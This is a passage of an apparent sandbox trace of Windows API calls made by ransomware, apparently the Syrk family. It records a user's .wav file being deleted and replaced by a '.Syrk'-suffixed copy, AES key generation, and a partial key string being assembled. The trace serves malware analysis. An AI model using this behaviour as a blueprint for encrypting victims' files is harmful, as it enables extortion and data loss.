returned 0x5c9b950 [0235.808] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0235.808] CoTaskMemFree (pv=0x5c9b950) [0235.810] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 0x20 [0235.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0235.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav", lpFilePart=0x0) returned 0x57 [0235.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0235.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav"), fInfoLevelId=0x0, lpFileInformation=0x23a8e64 | out: lpFileInformation=0x23a8e64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6189a90, ftCreationTime.dwHighDateTime=0x1d991c7, ftLastAccessTime.dwLowDateTime=0x6cdf8060, ftLastAccessTime.dwHighDateTime=0x1d998f0, ftLastWriteTime.dwLowDateTime=0x6cdf8060, ftLastWriteTime.dwHighDateTime=0x1d998f0, nFileSizeHigh=0x0, nFileSizeLow=0xb6c)) returned 1 [0235.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0235.810] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav")) returned 1 [0235.812] EtwEventActivityIdControl () returned 0x0 [0235.812] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.812] EtwEventActivityIdControl () returned 0x0 [0235.812] EtwEventActivityIdControl () returned 0x0 [0235.812] EtwEventActivityIdControl () returned 0x0 [0235.820] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav.syrk")) returned 0x20 [0235.821] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav.syrk")) returned 0x20 [0235.821] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5d [0235.822] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", nBufferLength=0x5d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk", lpFilePart=0x0) returned 0x5c [0235.822] EtwEventActivityIdControl () returned 0x0 [0235.822] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.822] EtwEventActivityIdControl () returned 0x0 [0235.822] EtwEventActivityIdControl () returned 0x0 [0235.822] EtwEventActivityIdControl () returned 0x0 [0235.828] EtwEventActivityIdControl () returned 0x0 [0235.828] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.829] EtwEventActivityIdControl () returned 0x0 [0235.829] EtwEventActivityIdControl () returned 0x0 [0235.829] EtwEventActivityIdControl () returned 0x0 [0235.832] EtwEventActivityIdControl () returned 0x0 [0235.832] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.832] EtwEventActivityIdControl () returned 0x0 [0235.832] EtwEventActivityIdControl () returned 0x0 [0235.832] EtwEventActivityIdControl () returned 0x0 [0235.836] EtwEventActivityIdControl () returned 0x0 [0235.836] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.837] EtwEventActivityIdControl () returned 0x0 [0235.837] EtwEventActivityIdControl () returned 0x0 [0235.837] EtwEventActivityIdControl () returned 0x0 [0235.840] EtwEventActivityIdControl () returned 0x0 [0235.840] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.841] EtwEventActivityIdControl () returned 0x0 [0235.841] EtwEventActivityIdControl () returned 0x0 [0235.841] EtwEventActivityIdControl () returned 0x0 [0235.844] EtwEventActivityIdControl () returned 0x0 [0235.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0235.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\n8siGXFTdMtKcZh\\YBZFeG9.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\n8sigxftdmtkczh\\ybzfeg9.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23b99e0 | out: lpFileInformation=0x23b99e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8671480, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x8671480, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x8671480, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb84)) returned 1 [0235.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0235.850] GetConsoleOutputCP () returned 0x1b5 [0235.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.850] GetConsoleOutputCP () returned 0x1b5 [0235.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.850] GetConsoleOutputCP () returned 0x1b5 [0235.850] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.850] GetConsoleOutputCP () returned 0x1b5 [0235.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.851] GetConsoleOutputCP () returned 0x1b5 [0235.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.851] GetConsoleOutputCP () returned 0x1b5 [0235.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.851] GetConsoleOutputCP () returned 0x1b5 [0235.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.851] GetConsoleOutputCP () returned 0x1b5 [0235.851] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.852] GetConsoleOutputCP () returned 0x1b5 [0235.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.852] GetConsoleOutputCP () returned 0x1b5 [0235.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.852] GetConsoleOutputCP () returned 0x1b5 [0235.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.852] GetConsoleOutputCP () returned 0x1b5 [0235.852] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.853] GetConsoleOutputCP () returned 0x1b5 [0235.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.853] GetConsoleOutputCP () returned 0x1b5 [0235.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.853] GetConsoleOutputCP () returned 0x1b5 [0235.853] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.853] GetConsoleOutputCP () returned 0x1b5 [0235.854] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.854] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0235.854] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.854] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23d3cf4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23d3cf4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0235.855] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.855] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0235.856] EtwEventActivityIdControl () returned 0x0 [0235.856] EtwEventActivityIdControl () returned 0x0 [0235.874] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.874] EtwEventActivityIdControl () returned 0x0 [0235.874] EtwEventActivityIdControl () returned 0x0 [0235.874] EtwEventActivityIdControl () returned 0x0 [0235.876] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.877] EtwEventActivityIdControl () returned 0x0 [0235.877] EtwEventActivityIdControl () returned 0x0 [0235.877] EtwEventActivityIdControl () returned 0x0 [0235.879] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0235.880] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68b80) returned 1 [0235.880] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.880] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.880] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23db6c0, pdwDataLen=0x5a2e8c4 | out: pbData=0x23db6c0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.881] EtwEventActivityIdControl () returned 0x0 [0235.881] EtwEventActivityIdControl () returned 0x0 [0235.881] EtwEventActivityIdControl () returned 0x0 [0235.882] SysStringLen (param_1="") returned 0x8 [0235.882] SysStringLen (param_1="3") returned 0x8 [0235.882] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.882] SysStringLen (param_1="蠅裛쨤㼕峎焦ᜪ㭐") returned 0x8 [0235.882] SysStringLen (param_1="蠅裛쨤㼕峎焦ᜪ㭐") returned 0x8 [0235.882] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.882] SysStringLen (param_1="35") returned 0x8 [0235.882] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.882] SysStringLen (param_1="얊먹榖戤봭ꃥ翚") returned 0x8 [0235.882] SysStringLen (param_1="얊먹榖戤봭ꃥ翚") returned 0x8 [0235.882] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="35X") returned 0x8 [0235.883] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="至챥琵馒茼躬㥈") returned 0x8 [0235.883] SysStringLen (param_1="至챥琵馒茼躬㥈") returned 0x8 [0235.883] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="35XS") returned 0x8 [0235.883] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="증桓ꌂ꫼鏰㆘ĭ耉") returned 0x8 [0235.883] SysStringLen (param_1="증桓ꌂ꫼鏰㆘ĭ耉") returned 0x8 [0235.883] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="35XS4") returned 0x8 [0235.883] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.883] SysStringLen (param_1="槾᯼佗䗚쭔놗툅") returned 0x8 [0235.884] SysStringLen (param_1="槾᯼佗䗚쭔놗툅") returned 0x8 [0235.884] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.884] SysStringLen (param_1="35XS45") returned 0x8 [0235.884] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.884] SysStringLen (param_1="䈕흊꽂릓ᴁ檅") returned 0x8 [0235.884] SysStringLen (param_1="䈕흊꽂릓ᴁ檅") returned 0x8 [0235.884] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.884] SysStringLen (param_1="35XS45f") returned 0x8 [0235.884] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.884] SysStringLen (param_1="䣊擹墩鈕䍃姯溞冕") returned 0x8 [0235.884] SysStringLen (param_1="䣊擹墩鈕䍃姯溞冕") returned 0x8 [0235.884] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.884] SysStringLen (param_1="35XS45fz") returned 0x8 [0235.884] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.885] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈") returned 0x8 [0235.885] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈") returned 0x8 [0235.885] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈") returned 0x8 [0235.885] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈") returned 0x10 [0235.885] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.886] SysStringLen (param_1="35XS45fz2⊮⛁ӿ⏫ꗈ年郳") returned 0x10 [0235.886] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.886] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈溣긧坉蔃첳") returned 0x10 [0235.886] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈溣긧坉蔃첳") returned 0x10 [0235.886] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.886] SysStringLen (param_1="35XS45fz2Y⛁ӿ⏫ꗈ年郳") returned 0x10 [0235.886] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.886] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈뙔䤗﬉襞斵鉿䊽껈") returned 0x10 [0235.886] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈뙔䤗﬉襞斵鉿䊽껈") returned 0x10 [0235.886] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.887] SysStringLen (param_1="35XS45fz2YAӿ⏫ꗈ年郳") returned 0x10 [0235.887] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.887] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈ᯈ马䬛૕㻢჆䰪") returned 0x10 [0235.887] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈ᯈ马䬛૕㻢჆䰪") returned 0x10 [0235.887] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.888] SysStringLen (param_1="35XS45fz2YAh⏫ꗈ年郳") returned 0x10 [0235.888] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.888] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈廘驜䞼긖ꬔ둟ﯦ") returned 0x10 [0235.888] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈廘驜䞼긖ꬔ둟ﯦ") returned 0x10 [0235.888] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.888] SysStringLen (param_1="35XS45fz2YAhaꗈ年郳") returned 0x10 [0235.889] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈忎嚃꺜ⓞꤍ녤ᣁ칔") returned 0x10 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈忎嚃꺜ⓞꤍ녤ᣁ칔") returned 0x10 [0235.889] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.889] SysStringLen (param_1="35XS45fz2YAhag年郳") returned 0x10 [0235.889] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈ꗝ෪ⓍͰ萸⬥㰔") returned 0x10 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈ꗝ෪ⓍͰ萸⬥㰔") returned 0x10 [0235.889] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.889] SysStringLen (param_1="35XS45fz2YAhagD郳") returned 0x10 [0235.889] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈环䪻㵚Ϳ꥙㱙䲩") returned 0x10 [0235.889] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈环䪻㵚Ϳ꥙㱙䲩") returned 0x10 [0235.889] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.890] SysStringLen (param_1="35XS45fz2YAhagDa") returned 0x10 [0235.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.890] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⋝) returned 0x10 [0235.890] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⋝) returned 0x10 [0235.890] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⋝) returned 0x10 [0235.891] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⋝) returned 0x18 [0235.891] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.891] SysStringLen (param_1="35XS45fz2YAhagDak榃殐睊륨Ⴙ") returned 0x18 [0235.891] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.891] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\苤ꊳ偧❮粲聕実⊕) returned 0x18 [0235.891] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\苤ꊳ偧❮粲聕実⊕) returned 0x18 [0235.891] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.891] SysStringLen (param_1="35XS45fz2YAhagDakj殐睊륨Ⴙ") returned 0x18 [0235.891] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.891] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\䗝碪앿揍囐ꥄ༼㖫∴) returned 0x18 [0235.891] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\䗝碪앿揍囐ꥄ༼㖫∴) returned 0x18 [0235.891] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.892] SysStringLen (param_1="35XS45fz2YAhagDakj+睊륨Ⴙ") returned 0x18 [0235.892] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.892] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\턮傤딵헪஫䵓⋪) returned 0x18 [0235.892] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\턮傤딵헪஫䵓⋪) returned 0x18 [0235.892] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.892] SysStringLen (param_1="35XS45fz2YAhagDakj+w睊륨Ⴙ") returned 0x18 [0235.892] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.892] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⇝\엙\\탟⾏鰖䆟") returned 0x18 [0235.892] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\⇝\엙\\탟⾏鰖䆟") returned 0x18 [0235.892] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.892] SysStringLen (param_1="35XS45fz2YAhagDakj+w+륨Ⴙ") returned 0x18 [0235.892] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\틝䯏ꋟ葖刁栰\燙潦") returned 0x18 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\틝䯏ꋟ葖刁栰\燙潦") returned 0x18 [0235.893] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.893] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uႹ") returned 0x18 [0235.893] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\㛝ꡅ\⃩콍✙빴杸") returned 0x18 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\㛝ꡅ\⃩콍✙빴杸") returned 0x18 [0235.893] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.893] SysStringLen (param_1="35XS45fz2YAhagDakj+w+uWႹ") returned 0x18 [0235.893] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\郝︢憭暗᦬虥ꅩ腽⊨) returned 0x18 [0235.893] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\郝︢憭暗᦬虥ꅩ腽⊨) returned 0x18 [0235.893] SystemFunction041 (in: Memory=0x5c640ac, 